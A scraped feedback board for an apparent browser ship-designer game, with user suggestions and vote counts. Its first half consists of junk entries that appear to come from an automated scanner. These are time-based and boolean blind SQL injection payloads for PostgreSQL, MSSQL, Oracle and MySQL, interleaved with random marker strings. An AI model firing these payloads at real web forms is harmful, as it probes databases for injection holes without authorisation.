• dwUQQUrL

  127qMQzXJ' OR 260=(SELECT 260 FROM PG_SLEEP(15))--

• dwUQQUrL

  1odFFzyxX') OR 306=(SELECT 306 FROM PG_SLEEP(15))--

• dwUQQUrL

  1uvzTm9Me')) OR 647=(SELECT 647 FROM PG_SLEEP(15))--

• dwUQQUrL

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• dwUQQUrL

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• dwUQQUrL

  1

• dwUQQUrL

  1'"

• dwUQQUrL

  @@HaZFQ

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrLpdOIRNuj

  1

• dwUQQUrL

  1

• -1 OR 2+633-633-1=0+0+0+1 --

  1

• -1 OR 2+452-452-1=0+0+0+1

  1

• -1' OR 2+116-116-1=0+0+0+1 --

  1

• -1' OR 2+323-323-1=0+0+0+1 or '9IbRzrW0'='

  1

• -1" OR 2+912-912-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• dwUQQUrL-1 waitfor delay '0:0:15' --

  1

• dwUQQUrLgYKrkm1k'; waitfor delay '0:0:15' --

  1

• dwUQQUrL

  1

• dwUQQUrL'"

  1

• @@uy5gv

  1

• dwUQQUrL

  1

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX

  1p3gvHDmc

• kEMlzpAX

  1

• kEMlzpAX

  -1 OR 2+287-287-1=0+0+0+1 --

• kEMlzpAX

  -1 OR 2+348-348-1=0+0+0+1

• kEMlzpAX

  -1' OR 2+520-520-1=0+0+0+1 --

• kEMlzpAX

  -1' OR 2+299-299-1=0+0+0+1 or 'AEV24scZ'='

• kEMlzpAX

  -1" OR 2+341-341-1=0+0+0+1 --

• kEMlzpAX

  1*if(now()=sysdate(),sleep(15),0)

• kEMlzpAX

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• kEMlzpAX

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• kEMlzpAX

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• kEMlzpAX

  1-1; waitfor delay '0:0:15' --

• kEMlzpAX

  1-1); waitfor delay '0:0:15' --

• kEMlzpAX

  1-1 waitfor delay '0:0:15' --

• kEMlzpAX

  1kWcgB079'; waitfor delay '0:0:15' --

• kEMlzpAX

  1-1 OR 378=(SELECT 378 FROM PG_SLEEP(15))--

• kEMlzpAX

  1-1) OR 291=(SELECT 291 FROM PG_SLEEP(15))--

• kEMlzpAX

  1-1)) OR 542=(SELECT 542 FROM PG_SLEEP(15))--

• kEMlzpAX

  1cDBMQ2Ad' OR 722=(SELECT 722 FROM PG_SLEEP(15))--

• kEMlzpAX

  1tZ8WSG03') OR 491=(SELECT 491 FROM PG_SLEEP(15))--

• kEMlzpAX

  13ZVTFx3d')) OR 478=(SELECT 478 FROM PG_SLEEP(15))--

• kEMlzpAX

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• kEMlzpAX

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• kEMlzpAX

  1

• kEMlzpAX

  1'"

• kEMlzpAX

  @@7fx5G

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAXo5Kxu7cy

  1

• kEMlzpAX

  1

• -1 OR 2+833-833-1=0+0+0+1 --

  1

• -1 OR 2+601-601-1=0+0+0+1

  1

• -1' OR 2+643-643-1=0+0+0+1 --

  1

• -1' OR 2+890-890-1=0+0+0+1 or 'UF1BHWQe'='

  1

• -1" OR 2+964-964-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• kEMlzpAX-1 waitfor delay '0:0:15' --

  1

• kEMlzpAXXEWjPClH'; waitfor delay '0:0:15' --

  1

• kEMlzpAX

  1

• kEMlzpAX'"

  1

• @@Mmszk

  1

• kEMlzpAX

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 160 months ago
  Unvote

  8178 agree

• Hack Protection
  By Stealthkid - 151 months ago
  Unvote

  2952 agree

• Add to favorites
  By Anonymous - 162 months ago
  Unvote

  912 agree

• editro
  By critic - 162 months ago
  Unvote

  868 agree

• Missiles as an Third Weapon
  By Ram - 158 months ago
  Unvote

  848 agree

• Change Name?
  By Anonymous - 162 months ago
  Unvote

  841 agree

• Youtube B-wing achievement
  By chuck norris - 160 months ago
  Unvote

  840 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 118 months ago
  Unvote

  810 agree

• Slide ship in on start
  By Kickass guy - 162 months ago
  Unvote

  776 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 157 months ago
  Unvote

  757 agree

• Mistaken Website Bug
  By CrazyDeathling - 160 months ago
  Unvote

  755 agree

• Rank list & Leaderboards
  By StoleYourFood - 157 months ago
  Unvote

  745 agree

• What browsers are supported?
  By Jack - 159 months ago
  Unvote

  736 agree

• It doesn't work!
  By the destructor - 161 months ago
  Unvote

  721 agree

• Awesome
  By Anonymous - 154 months ago
  Unvote

  685 agree

• Save
  By DevilishDB - 160 months ago
  Unvote

  683 agree

• Try Me does not work
  By Tim - 162 months ago
  Unvote

  676 agree

• Two major glitches
  By BeyPokéDig - 162 months ago
  Unvote

  673 agree

• Undo button
  By wombat - 159 months ago
  Unvote

  664 agree

• battle
  By alexof - 160 months ago
  Unvote

  662 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 155 months ago
  Unvote

  657 agree

• achievements
  By Lee - 162 months ago
  Unvote

  654 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 162 months ago
  Unvote

  650 agree

• how do i draw the outline
  By kickassisdeboss - 161 months ago
  Unvote

  649 agree

• omfg
  By Russellmichael13 - 160 months ago
  Unvote

  644 agree

• Pen tool
  By Cblackdragon - 157 months ago
  Unvote

  640 agree

• White labeling the app?
  By Peter.dibart - 157 months ago
  Unvote

  623 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 161 months ago
  Unvote

  616 agree

• You guys should have a symmetrical mode
  By Idrees - 161 months ago
  Unvote

  606 agree

• need some advice
  By Hao - 159 months ago
  Unvote

  603 agree

• Enemies
  By Agallup16 - 161 months ago
  Unvote

  593 agree

• Mirrored editing
  By wombat - 159 months ago
  Unvote

  592 agree

• Forums
  By BeyPokéDig - 161 months ago
  Unvote

  583 agree

• Benefits from improving ranks
  By hurrtz - 158 months ago
  Unvote

  582 agree

• Designer
  By Anonymous - 162 months ago
  Unvote

  579 agree

• Rankings
  By heyo - 161 months ago
  Unvote

  579 agree

• Pro!!
  By Jtbui20 - 161 months ago
  Unvote

  573 agree

• Button
  By Cottonball - 161 months ago
  Unvote

  570 agree

• android app
  By Barissenkal - 153 months ago
  Unvote

  567 agree

• help
  By Russellmichael13 - 160 months ago
  Unvote

  562 agree

• Extra weapons
  By MassMurdererOver9000 - 156 months ago
  Unvote

  556 agree

• Undo Button
  By Cblackdragon - 157 months ago
  Unvote

  554 agree

• I am using this on my site
  By Idrees - 161 months ago
  Unvote

  553 agree

• 1 agrees
  By BeyPokéDig - 162 months ago
  Unvote

  551 agree

• 0xp till| Only GA.
  By StoleYourFood - 157 months ago
  Unvote

  546 agree

• Image for ship
  By wombat - 159 months ago
  Unvote

  544 agree

• You guys need an undo button
  By Idrees - 161 months ago
  Unvote

  528 agree

• Question
  By Kickin Ass - 161 months ago
  Unvote

  525 agree

• how come the editor is so hard to use
  By Rcasassin - 159 months ago
  Unvote

  520 agree

• page moving up/down while controling the ship?
  By Tommy - 161 months ago
  Unvote

  507 agree